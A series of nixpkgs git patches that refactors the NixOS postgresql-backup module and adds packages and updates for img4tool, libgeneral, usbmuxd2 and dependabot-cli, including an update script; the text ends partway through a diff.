+    "hash": "sha512-/KG5xnoLLyFvHxH9XjoIkgmYkh49YetjPx3ef+actAzbtjpBod/E8QIlCdpkPjeRRn2I5i5+owspPr9p2Hu1hQ=="
   }
 }

From 3edda9e8f37475a2a772ad2ee654a8d949cb9501 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= <sandro.jaeckel@gmail.com>
Date: Mon, 3 Mar 2025 22:46:30 +0100
Subject: [PATCH 4052/4511] nixos/postgresql-backup: do not enable assertions
 when module is disabled

(cherry picked from commit d7fbdf54e13884ed2c5491f9430bc0af6570810d)
---
 .../services/backup/postgresql-backup.nix     | 77 ++++++++++---------
 1 file changed, 40 insertions(+), 37 deletions(-)

diff --git a/nixos/modules/services/backup/postgresql-backup.nix b/nixos/modules/services/backup/postgresql-backup.nix
index c87387ca026c..e3f7c8cf8bd3 100644
--- a/nixos/modules/services/backup/postgresql-backup.nix
+++ b/nixos/modules/services/backup/postgresql-backup.nix
@@ -152,45 +152,48 @@ in
 
   };
 
-  config = lib.mkMerge [
-    {
-      assertions = [
-        {
-          assertion = cfg.backupAll -> cfg.databases == [ ];
-          message = "config.services.postgresqlBackup.backupAll cannot be used together with config.services.postgresqlBackup.databases";
-        }
-        {
-          assertion =
-            cfg.compression == "none"
-            || (cfg.compression == "gzip" && cfg.compressionLevel >= 1 && cfg.compressionLevel <= 9)
-            || (cfg.compression == "zstd" && cfg.compressionLevel >= 1 && cfg.compressionLevel <= 19);
-          message = "config.services.postgresqlBackup.compressionLevel must be set between 1 and 9 for gzip and 1 and 19 for zstd";
-        }
-      ];
-    }
-    (lib.mkIf cfg.enable {
-      systemd.tmpfiles.rules = [
-        "d '${cfg.location}' 0700 postgres - - -"
-      ];
-    })
-    (lib.mkIf (cfg.enable && cfg.backupAll) {
-      systemd.services.postgresqlBackup = postgresqlBackupService "all" "pg_dumpall ${cfg.pgdumpOptions}";
-    })
-    (lib.mkIf (cfg.enable && !cfg.backupAll) {
-      systemd.services = lib.listToAttrs (
-        map (
-          db:
-          let
-            cmd = "pg_dump ${cfg.pgdumpOptions} ${db}";
-          in
+  config = lib.mkIf cfg.enable (
+    lib.mkMerge [
+      {
+        assertions = [
           {
-            name = "postgresqlBackup-${db}";
-            value = postgresqlBackupService db cmd;
+            assertion = cfg.backupAll -> cfg.databases == [ ];
+            message = "config.services.postgresqlBackup.backupAll cannot be used together with config.services.postgresqlBackup.databases";
           }
-        ) cfg.databases
-      );
-    })
-  ];
+          {
+            assertion =
+              cfg.compression == "none"
+              || (cfg.compression == "gzip" && cfg.compressionLevel >= 1 && cfg.compressionLevel <= 9)
+              || (cfg.compression == "zstd" && cfg.compressionLevel >= 1 && cfg.compressionLevel <= 19);
+            message = "config.services.postgresqlBackup.compressionLevel must be set between 1 and 9 for gzip and 1 and 19 for zstd";
+          }
+        ];
+
+        systemd.tmpfiles.rules = [
+          "d '${cfg.location}' 0700 postgres - - -"
+        ];
+      }
+
+      (lib.mkIf cfg.backupAll {
+        systemd.services.postgresqlBackup = postgresqlBackupService "all" "pg_dumpall ${cfg.pgdumpOptions}";
+      })
+
+      (lib.mkIf (!cfg.backupAll) {
+        systemd.services = lib.listToAttrs (
+          map (
+            db:
+            let
+              cmd = "pg_dump ${cfg.pgdumpOptions} ${db}";
+            in
+            {
+              name = "postgresqlBackup-${db}";
+              value = postgresqlBackupService db cmd;
+            }
+          ) cfg.databases
+        );
+      })
+    ]
+  );
 
   meta.maintainers = with lib.maintainers; [ Scrumplex ];
 }

From b70e23a3bbdd8f525cef011bfca6314305b44895 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Fri, 29 Aug 2025 22:11:52 +0200
Subject: [PATCH 4053/4511] nixos/postgresql-backup: add pgdumpAllOptions

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 82d2631e1c03e7bc8507e786bdb0e34b61c0d968)
---
 .../services/backup/postgresql-backup.nix        | 16 ++++++++++++++--
 nixos/tests/postgresql/postgresql.nix            |  1 +
 2 files changed, 15 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/backup/postgresql-backup.nix b/nixos/modules/services/backup/postgresql-backup.nix
index e3f7c8cf8bd3..6f0250f46b6c 100644
--- a/nixos/modules/services/backup/postgresql-backup.nix
+++ b/nixos/modules/services/backup/postgresql-backup.nix
@@ -124,7 +124,19 @@ in
         type = lib.types.separatedString " ";
         default = "-C";
         description = ''
-          Command line options for pg_dump or pg_dumpall.
+          Command line options for pg_dump. This options is not used if
+          `config.services.postgresqlBackup.backupAll` is enabled. Note that
+          config.services.postgresqlBackup.backupAll is also active, when no
+          databases where specified.
+        '';
+      };
+
+      pgdumpAllOptions = lib.mkOption {
+        type = lib.types.separatedString " ";
+        default = "";
+        description = ''
+          Command line options for pg_dumpall. This options is not used if
+          `config.services.postgresqlBackup.backupAll` is disabled.
         '';
       };
 
@@ -175,7 +187,7 @@ in
       }
 
       (lib.mkIf cfg.backupAll {
-        systemd.services.postgresqlBackup = postgresqlBackupService "all" "pg_dumpall ${cfg.pgdumpOptions}";
+        systemd.services.postgresqlBackup = postgresqlBackupService "all" "pg_dumpall ${cfg.pgdumpAllOptions}";
       })
 
       (lib.mkIf (!cfg.backupAll) {
diff --git a/nixos/tests/postgresql/postgresql.nix b/nixos/tests/postgresql/postgresql.nix
index d779a0263e46..ebd2396f95a5 100644
--- a/nixos/tests/postgresql/postgresql.nix
+++ b/nixos/tests/postgresql/postgresql.nix
@@ -66,6 +66,7 @@ let
             enable = true;
             databases = lib.optional (!backupAll) "postgres";
             pgdumpOptions = "--restrict-key=ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+            pgdumpAllOptions = "--restrict-key=ABCDEFGHIJKLMNOPQRSTUVWXYZ";
           };
         };
 

From 0a992fda81d0cad2b2255f32850633046c4475de Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Sun, 20 Jul 2025 13:55:03 +0200
Subject: [PATCH 4054/4511] img4tool: init at 217

(cherry picked from commit 6ec037c83bf233e4212ca810638f25e4f1c1ee7c)
---
 .../im/img4tool/configure-version.patch       | 27 ++++++++++
 pkgs/by-name/im/img4tool/package.nix          | 54 +++++++++++++++++++
 2 files changed, 81 insertions(+)
 create mode 100644 pkgs/by-name/im/img4tool/configure-version.patch
 create mode 100644 pkgs/by-name/im/img4tool/package.nix

diff --git a/pkgs/by-name/im/img4tool/configure-version.patch b/pkgs/by-name/im/img4tool/configure-version.patch
new file mode 100644
index 000000000000..267245b5ddab
--- /dev/null
+++ b/pkgs/by-name/im/img4tool/configure-version.patch
@@ -0,0 +1,27 @@
+diff --git a/configure.ac b/configure.ac
+index 66da2bd..86278ec 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -1,5 +1,5 @@
+ AC_PREREQ([2.69])
+-AC_INIT([img4tool], m4_esyscmd([git rev-list --count HEAD | tr -d '\n']), [tihmstar@gmail.com])
++AC_INIT([img4tool], [tihmstar@gmail.com])
+ 
+ AC_CANONICAL_SYSTEM
+ AC_CANONICAL_HOST
+@@ -9,11 +9,10 @@ AM_INIT_AUTOMAKE([subdir-objects])
+ AC_CONFIG_HEADERS([config.h])
+ AC_CONFIG_MACRO_DIRS([m4])
+ 
+-
+-AC_DEFINE([VERSION_COMMIT_COUNT], "m4_esyscmd([git rev-list --count HEAD | tr -d '\n'])", [Git commit count])
+-AC_DEFINE([VERSION_COMMIT_SHA], "m4_esyscmd([git rev-parse HEAD | tr -d '\n'])", [Git commit sha])
+-AC_SUBST([VERSION_COMMIT_COUNT], ["m4_esyscmd([git rev-list --count HEAD | tr -d '\n'])"])
+-AC_SUBST([VERSION_COMMIT_SHA], ["m4_esyscmd([git rev-parse HEAD | tr -d '\n'])"])
++AC_ARG_WITH([version-commit-count], [],
++  [VERSION_COMMIT_COUNT="$withval"])
++AC_DEFINE([VERSION_COMMIT_COUNT], ["$VERSION_COMMIT_COUNT"], [Git commit count])
++AC_SUBST([VERSION_COMMIT_COUNT], ["$VERSION_COMMIT_COUNT"])
+ 
+ # Checks for programs.
+ AC_PROG_CXX
diff --git a/pkgs/by-name/im/img4tool/package.nix b/pkgs/by-name/im/img4tool/package.nix
new file mode 100644
index 000000000000..15769ba96fe8
--- /dev/null
+++ b/pkgs/by-name/im/img4tool/package.nix
@@ -0,0 +1,54 @@
+{
+  lib,
+  clangStdenv,
+  fetchFromGitHub,
+  autoreconfHook,
+  pkg-config,
+  libgeneral,
+  libplist,
+  openssl,
+  lzfse,
+  git,
+}:
+clangStdenv.mkDerivation (finalAttrs: {
+  pname = "img4tool";
+  version = "217";
+
+  src = fetchFromGitHub {
+    owner = "tihmstar";
+    repo = "img4tool";
+    tag = finalAttrs.version;
+    hash = "sha256-67Xfq4jEK9juyaSIgVdWygAePZuyb4Yp8mY+6V66+Aw=";
+  };
+
+  # Do not depend on git to calculate version, instead
+  # pass version via configureFlag
+  patches = [ ./configure-version.patch ];
+
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+  ];
+
+  buildInputs = [
+    libgeneral
+    libplist
+    lzfse
+    openssl
+  ];
+
+  configureFlags = [
+    "--with-version-commit-count=${finalAttrs.version}"
+  ];
+
+  strictDeps = true;
+
+  meta = {
+    description = "Socket daemon to multiplex connections from and to iOS devices";
+    homepage = "https://github.com/tihmstar/img4tool";
+    license = lib.licenses.lgpl3;
+    platforms = lib.platforms.linux;
+    maintainers = with lib.maintainers; [ onny ];
+    mainProgram = "img4tool";
+  };
+})

From f89aa24adc8f8e8f6525871db1a4af9e1c90a013 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Fri, 23 May 2025 12:07:11 +0200
Subject: [PATCH 4055/4511] usbmuxd2: enable `doPostInstall` for libusb1
 packages that expose udev rules

`libusb1` propagates the `udevCheckHook`.
Packages which depend on `libusb1` and expose udev
rules should enable the `doPostInstall` flag.

(cherry picked from commit 65012b363e86df989f2986700c52c45a90c205c7)
---
 pkgs/by-name/us/usbmuxd2/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/us/usbmuxd2/package.nix b/pkgs/by-name/us/usbmuxd2/package.nix
index 788b54b58f7e..8bf55a74bfcd 100644
--- a/pkgs/by-name/us/usbmuxd2/package.nix
+++ b/pkgs/by-name/us/usbmuxd2/package.nix
@@ -72,6 +72,8 @@ clangStdenv.mkDerivation rec {
     libusb1
   ];
 
+  doInstallCheck = true;
+
   configureFlags = [
     "--with-udevrulesdir=${placeholder "out"}/lib/udev/rules.d"
     "--with-systemdsystemunitdir=${placeholder "out"}/lib/systemd/system"

From 39f222425c448fdde7cc8e863b6a1cb438709a23 Mon Sep 17 00:00:00 2001
From: Guy Chronister <guychronister@outlook.com>
Date: Sun, 15 Jun 2025 15:24:44 +0000
Subject: [PATCH 4056/4511] usbmuxd2: replace pname with string literal in src

(cherry picked from commit 1750d6c2feac10d4e4b777aa18931fc746acc653)
---
 pkgs/by-name/us/usbmuxd2/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/us/usbmuxd2/package.nix b/pkgs/by-name/us/usbmuxd2/package.nix
index 8bf55a74bfcd..41d20b911938 100644
--- a/pkgs/by-name/us/usbmuxd2/package.nix
+++ b/pkgs/by-name/us/usbmuxd2/package.nix
@@ -17,7 +17,7 @@ let
     version = "74";
     src = fetchFromGitHub {
       owner = "tihmstar";
-      repo = pname;
+      repo = "libgeneral";
       rev = "refs/tags/${version}";
       hash = "sha256-6aowcIYssc1xqH6kTi/cpH2F7rgc8+lGC8HgZWYH2w0=";
       # Leave DotGit so that autoconfigure can read version from git tags
@@ -37,13 +37,13 @@ let
   };
 
 in
-clangStdenv.mkDerivation rec {
+clangStdenv.mkDerivation {
   pname = "usbmuxd2";
   version = "unstable-2023-12-12";
 
   src = fetchFromGitHub {
     owner = "tihmstar";
-    repo = pname;
+    repo = "usbmuxd2";
     rev = "2ce399ddbacb110bd5a83a6b8232d42c9a9b6e84";
     hash = "sha256-UVLLE73XuWTgGlpTMxUDykFmiBDqz6NCRO2rpRAYfow=";
     # Leave DotGit so that autoconfigure can read version from git tags

From b6baf5c2704dc2c89ee716900ddf94b1536cc7e3 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Sun, 20 Jul 2025 14:12:03 +0200
Subject: [PATCH 4057/4511] usbmuxd2: Move libgeneral into own derivation

(cherry picked from commit 42b7c0db9d42bca58aaf5e704966928338985a38)
---
 pkgs/by-name/us/usbmuxd2/package.nix | 36 ++++------------------------
 1 file changed, 5 insertions(+), 31 deletions(-)

diff --git a/pkgs/by-name/us/usbmuxd2/package.nix b/pkgs/by-name/us/usbmuxd2/package.nix
index 41d20b911938..be7fb1cc6fcf 100644
--- a/pkgs/by-name/us/usbmuxd2/package.nix
+++ b/pkgs/by-name/us/usbmuxd2/package.nix
@@ -9,34 +9,8 @@
   avahi,
   clang,
   git,
+  libgeneral,
 }:
-let
-
-  libgeneral = clangStdenv.mkDerivation rec {
-    pname = "libgeneral";
-    version = "74";
-    src = fetchFromGitHub {
-      owner = "tihmstar";
-      repo = "libgeneral";
-      rev = "refs/tags/${version}";
-      hash = "sha256-6aowcIYssc1xqH6kTi/cpH2F7rgc8+lGC8HgZWYH2w0=";
-      # Leave DotGit so that autoconfigure can read version from git tags
-      leaveDotGit = true;
-    };
-    nativeBuildInputs = [
-      autoreconfHook
-      git
-      pkg-config
-    ];
-    meta = with lib; {
-      description = "Helper library used by usbmuxd2";
-      homepage = "https://github.com/tihmstar/libgeneral";
-      license = licenses.lgpl21;
-      platforms = platforms.all;
-    };
-  };
-
-in
 clangStdenv.mkDerivation {
   pname = "usbmuxd2";
   version = "unstable-2023-12-12";
@@ -83,12 +57,12 @@ clangStdenv.mkDerivation {
     "sbindir=${placeholder "out"}/bin"
   ];
 
-  meta = with lib; {
+  meta = {
     homepage = "https://github.com/tihmstar/usbmuxd2";
     description = "Socket daemon to multiplex connections from and to iOS devices";
-    license = licenses.lgpl3;
-    platforms = platforms.linux;
-    maintainers = with maintainers; [ onny ];
+    license = lib.licenses.lgpl3;
+    platforms = lib.platforms.linux;
+    maintainers = with lib.maintainers; [ onny ];
     mainProgram = "usbmuxd";
   };
 }

From 27fc93a507b23f4976163e6dbb1e5b4ef259ce00 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Sun, 20 Jul 2025 14:19:01 +0200
Subject: [PATCH 4058/4511] libgeneral: init at 84

(cherry picked from commit be94d3f8bfb17c7906915c494940820cb8d32d17)
---
 .../li/libgeneral/configure-version.patch     | 26 +++++++++++
 pkgs/by-name/li/libgeneral/package.nix        | 44 +++++++++++++++++++
 2 files changed, 70 insertions(+)
 create mode 100644 pkgs/by-name/li/libgeneral/configure-version.patch
 create mode 100644 pkgs/by-name/li/libgeneral/package.nix

diff --git a/pkgs/by-name/li/libgeneral/configure-version.patch b/pkgs/by-name/li/libgeneral/configure-version.patch
new file mode 100644
index 000000000000..7392dc586b8a
--- /dev/null
+++ b/pkgs/by-name/li/libgeneral/configure-version.patch
@@ -0,0 +1,26 @@
+diff --git a/configure.ac b/configure.ac
+index c214ccd..ab0cdd7 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -1,5 +1,5 @@
+ AC_PREREQ([2.69])
+-AC_INIT([libgeneral], m4_esyscmd([git rev-list --count HEAD | tr -d '\n']), [tihmstar@gmail.com])
++AC_INIT([libgeneral], [tihmstar@gmail.com])
+ 
+ AC_CANONICAL_SYSTEM
+ AC_CANONICAL_HOST
+@@ -9,10 +9,10 @@ AM_INIT_AUTOMAKE([subdir-objects])
+ AC_CONFIG_HEADERS([config.h])
+ AC_CONFIG_MACRO_DIRS([m4])
+ 
+-AC_DEFINE([VERSION_COMMIT_COUNT], "m4_esyscmd([git rev-list --count HEAD | tr -d '\n'])", [Git commit count])
+-AC_DEFINE([VERSION_COMMIT_SHA], "m4_esyscmd([git rev-parse HEAD | tr -d '\n'])", [Git commit sha])
+-AC_SUBST([VERSION_COMMIT_COUNT], ["m4_esyscmd([git rev-list --count HEAD | tr -d '\n'])"])
+-AC_SUBST([VERSION_COMMIT_SHA], ["m4_esyscmd([git rev-parse HEAD | tr -d '\n'])"])
++AC_ARG_WITH([version-commit-count], [],
++  [VERSION_COMMIT_COUNT="$withval"])
++AC_DEFINE([VERSION_COMMIT_COUNT], ["$VERSION_COMMIT_COUNT"], [Git commit count])
++AC_SUBST([VERSION_COMMIT_COUNT], ["$VERSION_COMMIT_COUNT"])
+ 
+ # Checks for programs.
+ AC_PROG_CXX([clang++])
diff --git a/pkgs/by-name/li/libgeneral/package.nix b/pkgs/by-name/li/libgeneral/package.nix
new file mode 100644
index 000000000000..5327da9849df
--- /dev/null
+++ b/pkgs/by-name/li/libgeneral/package.nix
@@ -0,0 +1,44 @@
+{
+  lib,
+  clangStdenv,
+  fetchFromGitHub,
+  autoreconfHook,
+  pkg-config,
+  libimobiledevice,
+  libusb1,
+  avahi,
+}:
+clangStdenv.mkDerivation (finalAttrs: {
+  pname = "libgeneral";
+  version = "84";
+
+  src = fetchFromGitHub {
+    owner = "tihmstar";
+    repo = "libgeneral";
+    tag = finalAttrs.version;
+    hash = "sha256-D6S7Ha7SQvWDGwiJuKh2Y9YOsw2ytxn70ia3llKC034=";
+  };
+
+  # Do not depend on git to calculate version, instead
+  # pass version via configureFlag
+  patches = [ ./configure-version.patch ];
+
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+  ];
+
+  configureFlags = [
+    "--with-version-commit-count=${finalAttrs.version}"
+  ];
+
+  strictDeps = true;
+
+  meta = {
+    description = "Helper library used by usbmuxd2";
+    homepage = "https://github.com/tihmstar/libgeneral";
+    license = lib.licenses.lgpl21;
+    platforms = lib.platforms.all;
+    maintainers = with lib.maintainers; [ onny ];
+  };
+})

From f582c943596624b6ad2a6c47c623ac8d415bcc26 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 21 Aug 2025 16:06:52 +0000
Subject: [PATCH 4059/4511] libgeneral: 84 -> 85

(cherry picked from commit c37faf49ce32a60ac21a4b10ba8536176aed9394)
---
 pkgs/by-name/li/libgeneral/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libgeneral/package.nix b/pkgs/by-name/li/libgeneral/package.nix
index 5327da9849df..17b6faa6246f 100644
--- a/pkgs/by-name/li/libgeneral/package.nix
+++ b/pkgs/by-name/li/libgeneral/package.nix
@@ -10,13 +10,13 @@
 }:
 clangStdenv.mkDerivation (finalAttrs: {
   pname = "libgeneral";
-  version = "84";
+  version = "85";
 
   src = fetchFromGitHub {
     owner = "tihmstar";
     repo = "libgeneral";
     tag = finalAttrs.version;
-    hash = "sha256-D6S7Ha7SQvWDGwiJuKh2Y9YOsw2ytxn70ia3llKC034=";
+    hash = "sha256-bCaAx1PVqT7Fl8IoefupIb6UuHD43clmdtnomF5Vycs=";
   };
 
   # Do not depend on git to calculate version, instead

From f0e21906153d8a190b48a70de80b8fe9773e7b3f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 18 May 2025 22:47:48 +0000
Subject: [PATCH 4060/4511] dependabot-cli: 1.63.0 -> 1.64.0

(cherry picked from commit 4a70e9546ee0899a26d62f7c8f18592efa3c9037)
---
 pkgs/by-name/de/dependabot-cli/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/de/dependabot-cli/package.nix b/pkgs/by-name/de/dependabot-cli/package.nix
index 240b096997e7..a2ec545a7e32 100644
--- a/pkgs/by-name/de/dependabot-cli/package.nix
+++ b/pkgs/by-name/de/dependabot-cli/package.nix
@@ -11,7 +11,7 @@
 }:
 let
   pname = "dependabot-cli";
-  version = "1.63.0";
+  version = "1.64.0";
 
   # vv Also update this vv
   tag = "nixpkgs-dependabot-cli-${version}";
@@ -47,7 +47,7 @@ buildGoModule {
     owner = "dependabot";
     repo = "cli";
     rev = "v${version}";
-    hash = "sha256-lk0AEFQYemr4wP7JXx5mPzzo2VzSJvygPP5vtUvPaxs=";
+    hash = "sha256-NcmDYCXdhMY1KFz3if0XlX4EisQFr0YhJItllXnOfaA=";
   };
 
   vendorHash = "sha256-pnB1SkuEGm0KfkDfjnoff5fZRsAgD5w2H4UwsD3Jlbo=";

From 970330e6524d95f758f9d19422c5b10a561af692 Mon Sep 17 00:00:00 2001
From: Victor Engmark <victor@engmark.name>
Date: Mon, 19 May 2025 18:09:33 +0200
Subject: [PATCH 4061/4511] dependabot-cli: Remove myself as maintainer

(cherry picked from commit 16c819bb917c13c005e08543acae7084e6bf6fbb)
---
 pkgs/by-name/de/dependabot-cli/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/de/dependabot-cli/package.nix b/pkgs/by-name/de/dependabot-cli/package.nix
index a2ec545a7e32..4d04b29dd1b2 100644
--- a/pkgs/by-name/de/dependabot-cli/package.nix
+++ b/pkgs/by-name/de/dependabot-cli/package.nix
@@ -106,7 +106,6 @@ buildGoModule {
     homepage = "https://github.com/dependabot/cli";
     license = licenses.mit;
     maintainers = with maintainers; [
-      l0b0
       infinisil
     ];
   };

From 3a5f633f0ac690c7e2557ab8844fa324f51c4fcc Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Mon, 26 May 2025 12:43:52 -0700
Subject: [PATCH 4062/4511] dependabot-cli: add update script which updates the
 withDockerImages variant

(cherry picked from commit aa5bdb87470b2a1e4b62845123f024e1fe55a2bd)
---
 pkgs/by-name/de/dependabot-cli/package.nix |  2 +
 pkgs/by-name/de/dependabot-cli/update.sh   | 48 ++++++++++++++++++++++
 2 files changed, 50 insertions(+)
 create mode 100755 pkgs/by-name/de/dependabot-cli/update.sh

diff --git a/pkgs/by-name/de/dependabot-cli/package.nix b/pkgs/by-name/de/dependabot-cli/package.nix
index 4d04b29dd1b2..f7d225bd8004 100644
--- a/pkgs/by-name/de/dependabot-cli/package.nix
+++ b/pkgs/by-name/de/dependabot-cli/package.nix
@@ -79,6 +79,8 @@ buildGoModule {
     $out/bin/dependabot --help
   '';
 
+  passthru.updateScript = ./update.sh;
+
   passthru.withDockerImages = symlinkJoin {
     name = "dependabot-cli-with-docker-images";
     paths = [ dependabot-cli ];
diff --git a/pkgs/by-name/de/dependabot-cli/update.sh b/pkgs/by-name/de/dependabot-cli/update.sh
new file mode 100755
index 000000000000..a01d0accfa32
--- /dev/null
+++ b/pkgs/by-name/de/dependabot-cli/update.sh
@@ -0,0 +1,48 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p curl gnugrep gnused jq gh nix-prefetch-docker nix gitMinimal
+
+set -x -eu -o pipefail
+
+cd $(dirname "${BASH_SOURCE[0]}")
+
+NIXPKGS_PATH="$(git rev-parse --show-toplevel)"
+
+temp_dir=$(mktemp -d)
+trap 'rm -rf "$temp_dir"' EXIT
+
+gh api repos/dependabot/cli/releases/latest > "$temp_dir/latest.json"
+
+VERSION="$(jq -r .tag_name "$temp_dir/latest.json" | sed 's/^v//')"
+OLD_VERSION="$(grep -m1 'version = "' ./package.nix | cut -d'"' -f2)"
+
+if [ "$OLD_VERSION" = "$VERSION" ]; then
+  echo "dependabot is already up-to-date at $OLD_VERSION"
+  exit 0
+fi
+
+SHA256="$(nix-prefetch-url --quiet --unpack https://github.com/dependabot/cli/archive/refs/tags/v${VERSION}.tar.gz)"
+HASH="$(nix hash convert --hash-algo sha256 --to sri "$SHA256")"
+
+nix-prefetch-docker --json --quiet --final-image-name dependabot-update-job-proxy --final-image-tag "nixpkgs-dependabot-cli-$VERSION" ghcr.io/github/dependabot-update-job-proxy/dependabot-update-job-proxy latest > "$temp_dir/dependabot-update-job-proxy.json"
+
+nix-prefetch-docker --json --quiet --final-image-name dependabot-updater-github-actions --final-image-tag "nixpkgs-dependabot-cli-$VERSION" ghcr.io/dependabot/dependabot-updater-github-actions latest > "$temp_dir/dependabot-updater-github-actions.json"
+
+setKV () {
+    sed -i "s,$1 = \"[^v].*\",$1 = \"${2:-}\"," ./package.nix
+}
+
+setKV version "${VERSION}"
+setKV hash "${HASH}"
+setKV updateJobProxy.imageDigest "$(jq -r .imageDigest "$temp_dir/dependabot-update-job-proxy.json")"
+setKV updateJobProxy.hash "$(jq -r .hash "$temp_dir/dependabot-update-job-proxy.json")"
+setKV updaterGitHubActions.imageDigest "$(jq -r .imageDigest "$temp_dir/dependabot-updater-github-actions.json")"
+setKV updaterGitHubActions.hash "$(jq -r .hash "$temp_dir/dependabot-updater-github-actions.json")"
+
+# We need to figure out the vendorHash for this new version, so we initially set it to `lib.fakeHash`
+FAKE_HASH="sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
+setKV vendorHash "$FAKE_HASH"
+
+set +e
+VENDOR_HASH="$(nix-build --no-out-link --log-format internal-json -A dependabot-cli "$NIXPKGS_PATH" 2>&1 >/dev/null | grep "$FAKE_HASH" | grep -o "sha256-[^\\]*" | tail -1)"
+set -e
+setKV vendorHash "$VENDOR_HASH"

From 34a6d20202eed663df3d50e6991800edf9ba2416 Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Mon, 26 May 2025 12:44:17 -0700
Subject: [PATCH 4063/4511] dependabot-cli: 1.64.0 -> 1.65.0

This was performed by the script after re-shaping the derivation a little.

(cherry picked from commit 955d607a334bf5b97f0bcb7601546e03c9a4c0ec)
---
 pkgs/by-name/de/dependabot-cli/package.nix | 68 +++++++++++-----------
 1 file changed, 35 insertions(+), 33 deletions(-)

diff --git a/pkgs/by-name/de/dependabot-cli/package.nix b/pkgs/by-name/de/dependabot-cli/package.nix
index f7d225bd8004..04b67bf130d1 100644
--- a/pkgs/by-name/de/dependabot-cli/package.nix
+++ b/pkgs/by-name/de/dependabot-cli/package.nix
@@ -11,34 +11,20 @@
 }:
 let
   pname = "dependabot-cli";
-  version = "1.64.0";
+  version = "1.65.0";
 
-  # vv Also update this vv
+  # `tag` is what `dependabot` uses to find the relevant docker images.
   tag = "nixpkgs-dependabot-cli-${version}";
 
-  updateJobProxy = dockerTools.pullImage {
-    imageName = "ghcr.io/github/dependabot-update-job-proxy/dependabot-update-job-proxy";
-    # Get these hashes from
-    # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/github/dependabot-update-job-proxy/dependabot-update-job-proxy --image-tag latest --final-image-name dependabot-update-job-proxy --final-image-tag ${tag}
-    imageDigest = "sha256:3030ba5ff8f556e47016fca94d81c677b5c6abde99fef228341e1537588e503a";
-    hash = "sha256-RiXUae5ONScoDu85L6BEf3T4JodBYha6v+d9kWl8oWc=";
+  # Get these hashes from
+  # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/github/dependabot-update-job-proxy/dependabot-update-job-proxy --image-tag latest --final-image-name dependabot-update-job-proxy --final-image-tag ${tag}
+  updateJobProxy.imageDigest = "sha256:ef245bd38aaa3cf89cafcffe0630d3ad3cff840488a2051a48517454e7f42368";
+  updateJobProxy.hash = "sha256-yndoGLpyV2MiIs0QXbF/W0xJ6jtmnw/ezL54VM80/CI=";
 
-    # Don't update this, it's used to refer to the imported image later
-    finalImageName = "dependabot-update-job-proxy";
-    finalImageTag = tag;
-  };
-
-  updaterGitHubActions = dockerTools.pullImage {
-    imageName = "ghcr.io/dependabot/dependabot-updater-github-actions";
-    # Get these hashes from
-    # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/dependabot/dependabot-updater-github-actions --image-tag latest --final-image-name dependabot-updater-github-actions --final-image-tag ${tag}
-    imageDigest = "sha256:a356576adbec11bc34b142b6ef69a5856a09dc3654bdc9f9b046c08ee2d73ff8";
-    hash = "sha256-zqydb2v39xiSBT5ayWEacD0NIH6LoFX8lkRcCKppH08=";
-
-    # Don't update this, it's used to refer to the imported image later
-    finalImageName = "dependabot-updater-github-actions";
-    finalImageTag = tag;
-  };
+  # Get these hashes from
+  # nix run nixpkgs#nix-prefetch-docker -- --image-name ghcr.io/dependabot/dependabot-updater-github-actions --image-tag latest --final-image-name dependabot-updater-github-actions --final-image-tag ${tag}
+  updaterGitHubActions.imageDigest = "sha256:adeaa00b4ae49e942adccec76d4487a393eebd0dec27cd75a3cdf6cc46d801d7";
+  updaterGitHubActions.hash = "sha256-ni9rSEpeo0gIdYy2CIIpnIWg0kttoTnvRwbZ71QwmIg=";
 in
 buildGoModule {
   inherit pname version;
@@ -47,7 +33,7 @@ buildGoModule {
     owner = "dependabot";
     repo = "cli";
     rev = "v${version}";
-    hash = "sha256-NcmDYCXdhMY1KFz3if0XlX4EisQFr0YhJItllXnOfaA=";
+    hash = "sha256-A7CPn0YDeyr+d1OUde2TGfSt3eCfrK4k3S7NWsvCGx0=";
   };
 
   vendorHash = "sha256-pnB1SkuEGm0KfkDfjnoff5fZRsAgD5w2H4UwsD3Jlbo=";
@@ -85,14 +71,30 @@ buildGoModule {
     name = "dependabot-cli-with-docker-images";
     paths = [ dependabot-cli ];
     buildInputs = [ makeWrapper ];
-    postBuild = ''
-      # Create a wrapper that pins the docker images that are depended upon
-      wrapProgram $out/bin/dependabot \
-        --run "docker load --input ${updateJobProxy} >&2" \
-        --add-flags "--proxy-image=dependabot-update-job-proxy:${tag}" \
-        --run "docker load --input ${updaterGitHubActions} >&2" \
-        --add-flags "--updater-image=dependabot-updater-github-actions:${tag}"
-    '';
+    postBuild =
+      let
+        updateJobProxyImage = dockerTools.pullImage {
